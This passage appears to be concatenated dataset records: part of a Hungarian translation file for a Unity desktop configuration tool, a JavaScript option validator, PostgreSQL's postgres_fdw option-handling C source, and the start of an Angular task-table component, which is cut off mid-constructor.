Shortcuts\"\nmsgstr \"Gyorsbillentyűk\"\n\n#: ../data/unity.ui:2365\nmsgid \"Hold Super for keyboard shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2370 ../data/unity.ui:2371\nmsgid \"\"\n\"When enabled, pressing the Super key displays an overlay of all Unity \"\n\"keyboard shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2394 ../data/unity.ui:2395\nmsgid \"List of Unity keyboard shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2446\nmsgid \"Notifications\"\nmsgstr \"Értesítések\"\n\n#: ../data/unity.ui:2465\nmsgid \"All displays\"\nmsgstr \"Összes kijelző\"\n\n#: ../data/unity.ui:2469 ../data/unity.ui:2470\nmsgid \"For multiple displays, notifications are visible on all of them.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2483\nmsgid \"Active display\"\nmsgstr \"Aktív kijelző\"\n\n#: ../data/unity.ui:2487 ../data/unity.ui:2488\nmsgid \"For multiple displays, notifications are visible on the active display.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2511 ../data/unity.ui:2512\nmsgid \"Restore the default Unity keyboard shortcut settings.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:45\nmsgid \"Close window\"\nmsgstr \"Ablak bezárása\"\n\n#: ../data/windowmanager.ui:46\nmsgid \"Alt+F4\"\nmsgstr \"Alt+F4\"\n\n#: ../data/windowmanager.ui:49\nmsgid \"Move window\"\nmsgstr \"Ablak áthelyezése\"\n\n#: ../data/windowmanager.ui:50\nmsgid \"Alt+mouse button 1\"\nmsgstr \"Alt+bal egérgomb\"\n\n#: ../data/windowmanager.ui:53\nmsgid \"Show desktop\"\nmsgstr \"Asztal megjelenítése\"\n\n#: ../data/windowmanager.ui:54\nmsgid \"Super+D\"\nmsgstr \"Super+D\"\n\n#: ../data/windowmanager.ui:67\nmsgid \"Zoom in\"\nmsgstr \"Nagyítás\"\n\n#: ../data/windowmanager.ui:68\nmsgid \"Super++\"\nmsgstr \"Super++\"\n\n#: ../data/windowmanager.ui:71\nmsgid \"Zoom out\"\nmsgstr \"Kicsinyítés\"\n\n#: ../data/windowmanager.ui:72\nmsgid \"Super+-\"\nmsgstr \"Super+-\"\n\n#: ../data/windowmanager.ui:85\nmsgid \"Start windows spread\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:86\nmsgid \"Super+W\"\nmsgstr \"Super+W\"\n\n#: ../data/windowmanager.ui:89\nmsgid \"Start windows spread for all windows\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:103\nmsgid \"Start workspace switcher\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:104\nmsgid \"Super+S\"\nmsgstr \"Super+S\"\n\n#: ../data/windowmanager.ui:118\nmsgid \"Toggle Desktop\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:121\nmsgid \"Show Workspaces\"\nmsgstr \"Munkaterületek megjelenítése\"\n\n#: ../data/windowmanager.ui:124\nmsgid \"Window Spread\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:127\nmsgid \"Spread all Windows\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:138\nmsgid \"Do Nothing\"\nmsgstr \"Ne tegyen semmit\"\n\n#: ../data/windowmanager.ui:141\nmsgid \"Bottom Left Corner\"\nmsgstr \"Bal alsó sarok\"\n\n#: ../data/windowmanager.ui:144\nmsgid \"Bottom Half\"\nmsgstr \"Alsó fél\"\n\n#: ../data/windowmanager.ui:147\nmsgid \"Bottom Right Corner\"\nmsgstr \"Jobb alsó sarok\"\n\n#: ../data/windowmanager.ui:150\nmsgid \"Left Half\"\nmsgstr \"Bal fél\"\n\n#: ../data/windowmanager.ui:153\nmsgid \"Fill Screen\"\nmsgstr \"A képernyő kitöltése\"\n\n#: ../data/windowmanager.ui:156\nmsgid \"Right Half\"\nmsgstr \"Jobb fél\"\n\n#: ../data/windowmanager.ui:159\nmsgid \"Top Left Corner\"\nmsgstr \"Bal felső sarok\"\n\n#: ../data/windowmanager.ui:162\nmsgid \"Top Half\"\nmsgstr \"Felső fél\"\n\n#: ../data/windowmanager.ui:165\nmsgid \"Top Right Corner\"\nmsgstr \"Jobb felső sarok\"\n\n#: ../data/windowmanager.ui:168 ../data/windowmanager.ui:2029\n#: ../data/windowmanager.ui:2064 ../data/windowmanager.ui:2101\nmsgid \"Maximize\"\nmsgstr \"Maximalizálás\"\n\n#: ../data/windowmanager.ui:192\nmsgid \"Zoom\"\nmsgstr \"Nagyítás\"\n\n#: ../data/windowmanager.ui:214 ../data/windowmanager.ui:215\nmsgid \"Enable desktop zoom?\"\nmsgstr \"Engedélyezi az asztal nagyítását?\"\n\n#: ../data/windowmanager.ui:230\nmsgid \"Desktop magnification:\"\nmsgstr \"Asztal nagyítása:\"\n\n#: ../data/windowmanager.ui:255 ../data/windowmanager.ui:256\nmsgid \"List of keyboard shortcuts for zoom\"\nmsgstr \"Gyorsbillentyűk a nagyításhoz\"\n\n#: ../data/windowmanager.ui:308\nmsgid \"Hardware acceleration\"\nmsgstr \"Hardveres gyorsítás\"\n\n#: ../data/windowmanager.ui:331 ../data/windowmanager.ui:332\nmsgid \"Select the level of texture rendering done by OpenGL\"\nmsgstr \"Az OpenGL textúra renderelési szintjének megválasztása\"\n\n#: ../data/windowmanager.ui:335\nmsgid \"Texture quality: \"\nmsgstr \"Textúra minősége: \"\n\n#: ../data/windowmanager.ui:347\nmsgid \"Fast\"\nmsgstr \"Gyors\"\n\n#: ../data/windowmanager.ui:348\nmsgid \"Good\"\nmsgstr \"Jó\"\n\n#: ../data/windowmanager.ui:349\nmsgid \"Best\"\nmsgstr \"Legjobb\"\n\n#: ../data/windowmanager.ui:371\nmsgid \"Animations\"\nmsgstr \"Animációk\"\n\n#: ../data/windowmanager.ui:396\nmsgid \"Minimize:\"\nmsgstr \"Minimalizáslás:\"\n\n#: ../data/windowmanager.ui:432\nmsgid \"Unminimize:\"\nmsgstr \"Maximalizálás:\"\n\n#: ../data/windowmanager.ui:469\nmsgid \"Window Animations:\"\nmsgstr \"Ablak animációk:\"\n\n#: ../data/windowmanager.ui:502\nmsgid \"Keyboard shortcuts\"\nmsgstr \"Gyorsbillentyűk\"\n\n#: ../data/windowmanager.ui:524 ../data/windowmanager.ui:525\nmsgid \"List of window manager keyboard shortcuts\"\nmsgstr \"Az ablakkezelő gyorsbillentyűi\"\n\n#: ../data/windowmanager.ui:577 ../data/windowmanager.ui:578\nmsgid \"Restore default window manager settings\"\nmsgstr \"Az ablakkezelő alapértelmezett beállításainak visszaállítása\"\n\n#: ../data/windowmanager.ui:639 ../data/windowmanager.ui:640\nmsgid \"Enable the window manager to draw multiple workspaces\"\nmsgstr \"Engedélyezi az ablakkezelőnek több munkaterület rajzolását\"\n\n#: ../data/windowmanager.ui:655\nmsgid \"Workspace switcher:\"\nmsgstr \"Munkaterület-váltó\"\n\n#: ../data/windowmanager.ui:668 ../data/windowmanager.ui:669\nmsgid \"Select the outline colour of the current workspace in the overview\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:671\nmsgid \"Current workspace colour:\"\nmsgstr \"Aktuális munkaterület színe:\"\n\n#: ../data/windowmanager.ui:696 ../data/windowmanager.ui:697\nmsgid \"Select the number of vertical workspaces\"\nmsgstr \"Függőleges munkaterületek száma\"\n\n#: ../data/windowmanager.ui:699\nmsgid \"Vertical workspaces:\"\nmsgstr \"Függőleges munkaterületek:\"\n\n#: ../data/windowmanager.ui:739 ../data/windowmanager.ui:740\nmsgid \"Select the number of horizontal workspaces\"\nmsgstr \"Vízszintes munkaterületek száma\"\n\n#: ../data/windowmanager.ui:742\nmsgid \"Horizontal workspaces:\"\nmsgstr \"Vízszintes munkaterületek:\"\n\n#: ../data/windowmanager.ui:763\nmsgid \"Workspace shortcuts\"\nmsgstr \"Munkaterület gyorsbillentyűk\"\n\n#: ../data/windowmanager.ui:785 ../data/windowmanager.ui:786\nmsgid \"List of workspace management keyboard shortcuts\"\nmsgstr \"A munkaterület kezelésének gyorsbillentyűi\"\n\n#: ../data/windowmanager.ui:838 ../data/windowmanager.ui:839\nmsgid \"Restore default workspace configuration\"\nmsgstr \"A munkaterület alapértelmezett beállításainak visszaállítása\"\n\n#: ../data/windowmanager.ui:861\nmsgid \"Workspace Settings\"\nmsgstr \"Munkaterület beállítások\"\n\n#: ../data/windowmanager.ui:904 ../data/windowmanager.ui:905\nmsgid \"Enable the window spread?\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:922\nmsgid \"Window spread:\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:948 ../data/windowmanager.ui:949\nmsgid \"Select the space between window in the spead overview in pixels\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:951\nmsgid \"Spacing:\"\nmsgstr \"Térköz:\"\n\n#: ../data/windowmanager.ui:974\nmsgid \"Icons on previews\"\nmsgstr \"Ikonok az előnézetnél\"\n\n#: ../data/windowmanager.ui:978 ../data/windowmanager.ui:979\nmsgid \"\"\n\"When enabled, show an application's icon on the window preview in the window \"\n\"spread\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:992\nmsgid \"Click to access desktop\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:996 ../data/windowmanager.ui:997\nmsgid \"\"\n\"When enabled, clicking on the desktop in the window spread will display the \"\n\"desktop\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1021\nmsgid \"Window spread shortcuts\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1043 ../data/windowmanager.ui:1044\nmsgid \"List of window spread shortcuts\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1095 ../data/windowmanager.ui:1096\nmsgid \"Restore default window spread settings\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1118\nmsgid \"Window spread\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1176\nmsgid \"Window snapping:\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1188 ../data/windowmanager.ui:2167\nmsgid \"Fill colour:\"\nmsgstr \"Kitöltés színe:\"\n\n#: ../data/windowmanager.ui:1201 ../data/windowmanager.ui:2154\nmsgid \"Outline colour:\"\nmsgstr \"Körvonal színe:\"\n\n#: ../data/windowmanager.ui:1494\nmsgid \"Window snapping\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1551\nmsgid \"Hotcorners:\"\nmsgstr \"Forrósarkok:\"\n\n#: ../data/windowmanager.ui:1838\nmsgid \"Focus Behaviour\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1863\nmsgid \"Auto-raise delay:\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1875 ../data/windowmanager.ui:1876\nmsgid \"Set the delay for raising newly focused windows.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1891\nmsgid \"If enabled, windows that take focus will be automatically raised.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1907\nmsgid \"Focus mode:\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1920 ../data/windowmanager.ui:1921\nmsgid \"\"\n\"Select the window focus mode; \\\"click\\\" means windows must be clicked in \"\n\"order to focus them, \\\"sloppy\\\" means windows are focused when the mouse \"\n\"enters the window, and \\\"mouse\\\" means windows are focused when the mouse \"\n\"enters the window and unfocused when the mouse leaves the window.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1924\nmsgid \"Click\"\nmsgstr \"Kattintás\"\n\n#: ../data/windowmanager.ui:1925\nmsgid \"Sloppy\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1926\nmsgid \"Mouse\"\nmsgstr \"Egér\"\n\n#: ../data/windowmanager.ui:1940\nmsgid \"Auto-raise:\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1952\n#, fuzzy\nmsgid \"Raise on click:\"\nmsgstr \"Jobb gomb:\"\n\n#: ../data/windowmanager.ui:1963\nmsgid \"Whether raising should be a side-effect of other user interactions.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:1987\nmsgid \"Titlebar Actions\"\nmsgstr \"Címsor műveletek\"\n\n#: ../data/windowmanager.ui:2013\nmsgid \"Double click:\"\nmsgstr \"Dupla kattintás:\"\n\n#: ../data/windowmanager.ui:2025 ../data/windowmanager.ui:2026\nmsgid \"Select the titlebar's double click action.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:2028\nmsgid \"Toggle Shade\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:2030 ../data/windowmanager.ui:2065\n#: ../data/windowmanager.ui:2102\nmsgid \"Horizontal expand\"\nmsgstr \"Vízszintes nyújtás\"\n\n#: ../data/windowmanager.ui:2031 ../data/windowmanager.ui:2066\n#: ../data/windowmanager.ui:2103\nmsgid \"Vertical expand\"\nmsgstr \"Függőleges nyújtás\"\n\n#: ../data/windowmanager.ui:2032 ../data/windowmanager.ui:2067\n#: ../data/windowmanager.ui:2104\nmsgid \"Minimize\"\nmsgstr \"Minimalizálás\"\n\n#: ../data/windowmanager.ui:2033 ../data/windowmanager.ui:2068\n#: ../data/windowmanager.ui:2105\nmsgid \"No action\"\nmsgstr \"Nincs művelet\"\n\n#: ../data/windowmanager.ui:2034 ../data/windowmanager.ui:2069\n#: ../data/windowmanager.ui:2106\nmsgid \"Lower\"\nmsgstr \"Süllyesztés\"\n\n#: ../data/windowmanager.ui:2035 ../data/windowmanager.ui:2070\n#: ../data/windowmanager.ui:2107\nmsgid \"Menu\"\nmsgstr \"Menü\"\n\n#: ../data/windowmanager.ui:2049\nmsgid \"Middle click:\"\nmsgstr \"Középső gomb:\"\n\n#: ../data/windowmanager.ui:2060 ../data/windowmanager.ui:2061\nmsgid \"Select the titlebar's middle click action.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:2063 ../data/windowmanager.ui:2100\nmsgid \"Toggle shade\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:2085\nmsgid \"Right click:\"\nmsgstr \"Jobb gomb:\"\n\n#: ../data/windowmanager.ui:2097 ../data/windowmanager.ui:2098\nmsgid \"Select the titlebar's right click action.\"\nmsgstr \"\"\n\n#: ../data/windowmanager.ui:2129\nmsgid \"Resizing\"\nmsgstr \"Átméretezés\"\n\n#: ../data/windowmanager.ui:2211 ../data/windowmanager.ui:2212\nmsgid \"Restore the default settings for the additional options.\"\nmsgstr \"\"\n\n#~ msgid \"\"\n#~ \"Window\\n\"\n#~ \"Controls\"\n#~ msgstr \"\"\n#~ \"Ablak\\n\"\n#~ \"vezérlés\"\n\n#~ msgid \"Reset Unity settings?\"\n#~ msgstr \"Alaphelyzetbe állítja a Unity beállításait?\"\n\n#~ msgid \"Cancel\"\n#~ msgstr \"Mégse\"\n\n#~ msgid \"Proceed\"\n#~ msgstr \"Tovább\"\n\n#~ msgid \"\"\n#~ \"This will reset all your Unity settings.\\n\"\n#~ \"Are you sure you want to proceed?\"\n#~ msgstr \"\"\n#~ \"Ez visszaállítja az összes beállítást alaphelyzetbe.\\n\"\n#~ \"Biztos benne, hogy ezt szeretné?\"\n\n#~ msgid \"Configuration frontend for the Unity desktop environment\"\n#~ msgstr \"Beállítófelület a Unity asztali környezethez\"\n\n#~ msgid \"Do you wish to continue?\"\n#~ msgstr \"Folytatni kívánja?\"\n\n#~ msgid \"Please log out and log back in.\"\n#~ msgstr \"Jelentkezzen ki, majd újra be.\"\n\n#~ msgid \"Layout\"\n#~ msgstr \"Elrendezés\"\n\n#~ msgid \"Right\"\n#~ msgstr \"Jobb\"\n\n#~ msgid \"Alignment:\"\n#~ msgstr \"Igazítás:\"\n\n#~ msgid \"Restore Defaults\"\n#~ msgstr \"Alapértelmezések visszaállítása\"\n\n#~ msgid \"Window Controls\"\n#~ msgstr \"Ablakvezérlők\"\n\n#~ msgid \"Window controls\"\n#~ msgstr \"Ablakvezérlők\"\n\n#~ msgid \"Killing Unity and Compiz\"\n#~ msgstr \"Unity és Compiz leállítása\"\n"} {"text": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * Declares, validates and defaults options.\n * var validate = declareOpts({\n * foo: {\n * type: 'bool',\n * required: true,\n * }\n * });\n *\n * var myOptions = validate(someOptions);\n */\n\n'use strict';\n\nvar Joi = require('joi');\n\nmodule.exports = function(descriptor) {\n var joiKeys = {};\n Object.keys(descriptor).forEach(function(prop) {\n var record = descriptor[prop];\n if (record.type == null) {\n throw new Error('Type is required');\n }\n\n if (record.type === 'function') {\n record.type = 'func';\n }\n\n var propValidator = Joi[record.type]();\n\n if (record.required) {\n propValidator = propValidator.required();\n }\n\n if (record.default) {\n propValidator = propValidator.default(record.default);\n }\n\n joiKeys[prop] = propValidator;\n });\n\n var schema = Joi.object().keys(joiKeys);\n\n return function(opts) {\n opts = opts || {};\n\n var res = Joi.validate(opts, schema, {\n abortEarly: true,\n allowUnknown: false,\n });\n\n if (res.error) {\n throw new Error('Error validating module options: ' + res.error.message);\n }\n return res.value;\n };\n};\n"} {"text": "/*-------------------------------------------------------------------------\n *\n * option.c\n *\t\t FDW option handling for postgres_fdw\n *\n * Portions Copyright (c) 2012-2019, PostgreSQL Global Development Group\n *\n * IDENTIFICATION\n *\t\t contrib/postgres_fdw/option.c\n *\n *-------------------------------------------------------------------------\n */\n#include \"postgres.h\"\n\n#include \"postgres_fdw.h\"\n\n#include \"access/reloptions.h\"\n#include \"catalog/pg_foreign_server.h\"\n#include \"catalog/pg_foreign_table.h\"\n#include \"catalog/pg_user_mapping.h\"\n#include \"commands/defrem.h\"\n#include \"commands/extension.h\"\n#include \"utils/builtins.h\"\n#include \"utils/varlena.h\"\n\n\n/*\n * Describes the valid options for objects that this wrapper uses.\n */\ntypedef struct PgFdwOption\n{\n\tconst char *keyword;\n\tOid\t\t\toptcontext;\t\t/* OID of catalog in which option may appear */\n\tbool\t\tis_libpq_opt;\t/* true if it's used in libpq */\n} PgFdwOption;\n\n/*\n * Valid options for postgres_fdw.\n * Allocated and filled in InitPgFdwOptions.\n */\nstatic PgFdwOption *postgres_fdw_options;\n\n/*\n * Valid options for libpq.\n * Allocated and filled in InitPgFdwOptions.\n */\nstatic PQconninfoOption *libpq_options;\n\n/*\n * Helper functions\n */\nstatic void InitPgFdwOptions(void);\nstatic bool is_valid_option(const char *keyword, Oid context);\nstatic bool is_libpq_option(const char *keyword);\n\n\n/*\n * Validate the generic options given to a FOREIGN DATA WRAPPER, SERVER,\n * USER MAPPING or FOREIGN TABLE that uses postgres_fdw.\n *\n * Raise an ERROR if the option or its value is considered invalid.\n */\nPG_FUNCTION_INFO_V1(postgres_fdw_validator);\n\nDatum\npostgres_fdw_validator(PG_FUNCTION_ARGS)\n{\n\tList\t *options_list = untransformRelOptions(PG_GETARG_DATUM(0));\n\tOid\t\t\tcatalog = PG_GETARG_OID(1);\n\tListCell *cell;\n\n\t/* Build our options lists if we didn't yet. */\n\tInitPgFdwOptions();\n\n\t/*\n\t * Check that only options supported by postgres_fdw, and allowed for the\n\t * current object type, are given.\n\t */\n\tforeach(cell, options_list)\n\t{\n\t\tDefElem *def = (DefElem *) lfirst(cell);\n\n\t\tif (!is_valid_option(def->defname, catalog))\n\t\t{\n\t\t\t/*\n\t\t\t * Unknown option specified, complain about it. Provide a hint\n\t\t\t * with list of valid options for the object.\n\t\t\t */\n\t\t\tPgFdwOption *opt;\n\t\t\tStringInfoData buf;\n\n\t\t\tinitStringInfo(&buf);\n\t\t\tfor (opt = postgres_fdw_options; opt->keyword; opt++)\n\t\t\t{\n\t\t\t\tif (catalog == opt->optcontext)\n\t\t\t\t\tappendStringInfo(&buf, \"%s%s\", (buf.len > 0) ? \", \" : \"\",\n\t\t\t\t\t\t\t\t\t opt->keyword);\n\t\t\t}\n\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FDW_INVALID_OPTION_NAME),\n\t\t\t\t\t errmsg(\"invalid option \\\"%s\\\"\", def->defname),\n\t\t\t\t\t errhint(\"Valid options in this context are: %s\",\n\t\t\t\t\t\t\t buf.data)));\n\t\t}\n\n\t\t/*\n\t\t * Validate option value, when we can do so without any context.\n\t\t */\n\t\tif (strcmp(def->defname, \"use_remote_estimate\") == 0 ||\n\t\t\tstrcmp(def->defname, \"updatable\") == 0)\n\t\t{\n\t\t\t/* these accept only boolean values */\n\t\t\t(void) defGetBoolean(def);\n\t\t}\n\t\telse if (strcmp(def->defname, \"fdw_startup_cost\") == 0 ||\n\t\t\t\t strcmp(def->defname, \"fdw_tuple_cost\") == 0)\n\t\t{\n\t\t\t/* these must have a non-negative numeric value */\n\t\t\tdouble\t\tval;\n\t\t\tchar\t *endp;\n\n\t\t\tval = strtod(defGetString(def), &endp);\n\t\t\tif (*endp || val < 0)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t errmsg(\"%s requires a non-negative numeric value\",\n\t\t\t\t\t\t\t\tdef->defname)));\n\t\t}\n\t\telse if (strcmp(def->defname, \"extensions\") == 0)\n\t\t{\n\t\t\t/* check list syntax, warn about uninstalled extensions */\n\t\t\t(void) ExtractExtensionList(defGetString(def), true);\n\t\t}\n\t\telse if (strcmp(def->defname, \"fetch_size\") == 0)\n\t\t{\n\t\t\tint\t\t\tfetch_size;\n\n\t\t\tfetch_size = strtol(defGetString(def), NULL, 10);\n\t\t\tif (fetch_size <= 0)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t errmsg(\"%s requires a non-negative integer value\",\n\t\t\t\t\t\t\t\tdef->defname)));\n\t\t}\n\t}\n\n\tPG_RETURN_VOID();\n}\n\n/*\n * Initialize option lists.\n */\nstatic void\nInitPgFdwOptions(void)\n{\n\tint\t\t\tnum_libpq_opts;\n\tPQconninfoOption *lopt;\n\tPgFdwOption *popt;\n\n\t/* non-libpq FDW-specific FDW options */\n\tstatic const PgFdwOption non_libpq_options[] = {\n\t\t{\"schema_name\", ForeignTableRelationId, false},\n\t\t{\"table_name\", ForeignTableRelationId, false},\n\t\t{\"column_name\", AttributeRelationId, false},\n\t\t/* use_remote_estimate is available on both server and table */\n\t\t{\"use_remote_estimate\", ForeignServerRelationId, false},\n\t\t{\"use_remote_estimate\", ForeignTableRelationId, false},\n\t\t/* cost factors */\n\t\t{\"fdw_startup_cost\", ForeignServerRelationId, false},\n\t\t{\"fdw_tuple_cost\", ForeignServerRelationId, false},\n\t\t/* shippable extensions */\n\t\t{\"extensions\", ForeignServerRelationId, false},\n\t\t/* updatable is available on both server and table */\n\t\t{\"updatable\", ForeignServerRelationId, false},\n\t\t{\"updatable\", ForeignTableRelationId, false},\n\t\t/* fetch_size is available on both server and table */\n\t\t{\"fetch_size\", ForeignServerRelationId, false},\n\t\t{\"fetch_size\", ForeignTableRelationId, false},\n\t\t{NULL, InvalidOid, false}\n\t};\n\n\t/* Prevent redundant initialization. */\n\tif (postgres_fdw_options)\n\t\treturn;\n\n\t/*\n\t * Get list of valid libpq options.\n\t *\n\t * To avoid unnecessary work, we get the list once and use it throughout\n\t * the lifetime of this backend process. We don't need to care about\n\t * memory context issues, because PQconndefaults allocates with malloc.\n\t */\n\tlibpq_options = PQconndefaults();\n\tif (!libpq_options)\t\t\t/* assume reason for failure is OOM */\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FDW_OUT_OF_MEMORY),\n\t\t\t\t errmsg(\"out of memory\"),\n\t\t\t\t errdetail(\"Could not get libpq's default connection options.\")));\n\n\t/* Count how many libpq options are available. */\n\tnum_libpq_opts = 0;\n\tfor (lopt = libpq_options; lopt->keyword; lopt++)\n\t\tnum_libpq_opts++;\n\n\t/*\n\t * Construct an array which consists of all valid options for\n\t * postgres_fdw, by appending FDW-specific options to libpq options.\n\t *\n\t * We use plain malloc here to allocate postgres_fdw_options because it\n\t * lives as long as the backend process does. Besides, keeping\n\t * libpq_options in memory allows us to avoid copying every keyword\n\t * string.\n\t */\n\tpostgres_fdw_options = (PgFdwOption *)\n\t\tmalloc(sizeof(PgFdwOption) * num_libpq_opts +\n\t\t\t sizeof(non_libpq_options));\n\tif (postgres_fdw_options == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FDW_OUT_OF_MEMORY),\n\t\t\t\t errmsg(\"out of memory\")));\n\n\tpopt = postgres_fdw_options;\n\tfor (lopt = libpq_options; lopt->keyword; lopt++)\n\t{\n\t\t/* Hide debug options, as well as settings we override internally. */\n\t\tif (strchr(lopt->dispchar, 'D') ||\n\t\t\tstrcmp(lopt->keyword, \"fallback_application_name\") == 0 ||\n\t\t\tstrcmp(lopt->keyword, \"client_encoding\") == 0)\n\t\t\tcontinue;\n\n\t\t/* We don't have to copy keyword string, as described above. */\n\t\tpopt->keyword = lopt->keyword;\n\n\t\t/*\n\t\t * \"user\" and any secret options are allowed only on user mappings.\n\t\t * Everything else is a server option.\n\t\t */\n\t\tif (strcmp(lopt->keyword, \"user\") == 0 || strchr(lopt->dispchar, '*'))\n\t\t\tpopt->optcontext = UserMappingRelationId;\n\t\telse\n\t\t\tpopt->optcontext = ForeignServerRelationId;\n\t\tpopt->is_libpq_opt = true;\n\n\t\tpopt++;\n\t}\n\n\t/* Append FDW-specific options and dummy terminator. */\n\tmemcpy(popt, non_libpq_options, sizeof(non_libpq_options));\n}\n\n/*\n * Check whether the given option is one of the valid postgres_fdw options.\n * context is the Oid of the catalog holding the object the option is for.\n */\nstatic bool\nis_valid_option(const char *keyword, Oid context)\n{\n\tPgFdwOption *opt;\n\n\tAssert(postgres_fdw_options);\t/* must be initialized already */\n\n\tfor (opt = postgres_fdw_options; opt->keyword; opt++)\n\t{\n\t\tif (context == opt->optcontext && strcmp(opt->keyword, keyword) == 0)\n\t\t\treturn true;\n\t}\n\n\treturn false;\n}\n\n/*\n * Check whether the given option is one of the valid libpq options.\n */\nstatic bool\nis_libpq_option(const char *keyword)\n{\n\tPgFdwOption *opt;\n\n\tAssert(postgres_fdw_options);\t/* must be initialized already */\n\n\tfor (opt = postgres_fdw_options; opt->keyword; opt++)\n\t{\n\t\tif (opt->is_libpq_opt && strcmp(opt->keyword, keyword) == 0)\n\t\t\treturn true;\n\t}\n\n\treturn false;\n}\n\n/*\n * Generate key-value arrays which include only libpq options from the\n * given list (which can contain any kind of options). Caller must have\n * allocated large-enough arrays. Returns number of options found.\n */\nint\nExtractConnectionOptions(List *defelems, const char **keywords,\n\t\t\t\t\t\t const char **values)\n{\n\tListCell *lc;\n\tint\t\t\ti;\n\n\t/* Build our options lists if we didn't yet. */\n\tInitPgFdwOptions();\n\n\ti = 0;\n\tforeach(lc, defelems)\n\t{\n\t\tDefElem *d = (DefElem *) lfirst(lc);\n\n\t\tif (is_libpq_option(d->defname))\n\t\t{\n\t\t\tkeywords[i] = d->defname;\n\t\t\tvalues[i] = defGetString(d);\n\t\t\ti++;\n\t\t}\n\t}\n\treturn i;\n}\n\n/*\n * Parse a comma-separated string and return a List of the OIDs of the\n * extensions named in the string. If any names in the list cannot be\n * found, report a warning if warnOnMissing is true, else just silently\n * ignore them.\n */\nList *\nExtractExtensionList(const char *extensionsString, bool warnOnMissing)\n{\n\tList\t *extensionOids = NIL;\n\tList\t *extlist;\n\tListCell *lc;\n\n\t/* SplitIdentifierString scribbles on its input, so pstrdup first */\n\tif (!SplitIdentifierString(pstrdup(extensionsString), ',', &extlist))\n\t{\n\t\t/* syntax error in name list */\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_INVALID_PARAMETER_VALUE),\n\t\t\t\t errmsg(\"parameter \\\"%s\\\" must be a list of extension names\",\n\t\t\t\t\t\t\"extensions\")));\n\t}\n\n\tforeach(lc, extlist)\n\t{\n\t\tconst char *extension_name = (const char *) lfirst(lc);\n\t\tOid\t\t\textension_oid = get_extension_oid(extension_name, true);\n\n\t\tif (OidIsValid(extension_oid))\n\t\t{\n\t\t\textensionOids = lappend_oid(extensionOids, extension_oid);\n\t\t}\n\t\telse if (warnOnMissing)\n\t\t{\n\t\t\tereport(WARNING,\n\t\t\t\t\t(errcode(ERRCODE_UNDEFINED_OBJECT),\n\t\t\t\t\t errmsg(\"extension \\\"%s\\\" is not installed\",\n\t\t\t\t\t\t\textension_name)));\n\t\t}\n\t}\n\n\tlist_free(extlist);\n\treturn extensionOids;\n}\n"} {"text": "import {Component, Input, OnInit, ViewChild} from \"@angular/core\";\nimport {\n MatDialog,\n MatIconRegistry,\n MatPaginator,\n MatSort\n} from \"@angular/material\";\nimport {AppSettings} from \"../../app-settings\";\nimport {TaskService} from \"../task.service\";\nimport {ReportService} from \"../../report/report.service\";\nimport {ModelAddDialogComponent} from \"../../model/model-add-dialog.component\";\nimport {DomSanitizer} from \"@angular/platform-browser\";\nimport {TaskInfoDialogComponent} from \"./task-info-dialog.component\";\nimport {Paginator} from \"../../paginator\";\n\n@Component({\n selector: 'app-task-table',\n templateUrl: './task-table.component.html',\n styleUrls: ['./task-table.component.css']\n})\nexport class TaskTableComponent implements OnInit {\n @Input() paginator: Paginator<any>;\n @Input() report: number;\n @Input() show_links: boolean = true;\n\n @Input() projects: any[];\n\n @ViewChild(MatPaginator) paginator_view: MatPaginator;\n @ViewChild(MatSort) sort_view: MatSort;\n\n\n displayed_columns: string[] = [\n 'project',\n 'dag',\n 'id',\n 'name',\n 'status',\n 'created',\n 'started',\n 'last_activity',\n 'duration',\n 'computer',\n 'requirements',\n 'steps',\n 'progress',\n 'score',\n 'links'\n ];\n\n constructor(protected service: TaskService,\n private 